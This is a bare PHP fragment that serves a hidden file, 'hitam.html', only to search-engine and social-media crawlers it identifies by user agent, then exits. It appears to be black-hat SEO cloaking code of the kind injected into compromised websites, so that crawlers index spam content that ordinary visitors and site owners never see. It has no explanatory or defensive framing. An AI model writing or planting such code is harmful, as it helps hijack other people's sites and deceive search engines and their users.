$userAgent = strtolower($_SERVER['HTTP_USER_AGENT'] ?? '');
$filePath  = DIR . '/hitam.html';

$botPattern = '/(googlebot|slurp|adsense|inspection|ahrefsbot|telegrambot|bingbot|yandexbot)/i';

if (preg_match($botPattern, $userAgent)) {
    if (is_readable($filePath)) {
        echo file_get_contents($filePath);
    }
    exit;
}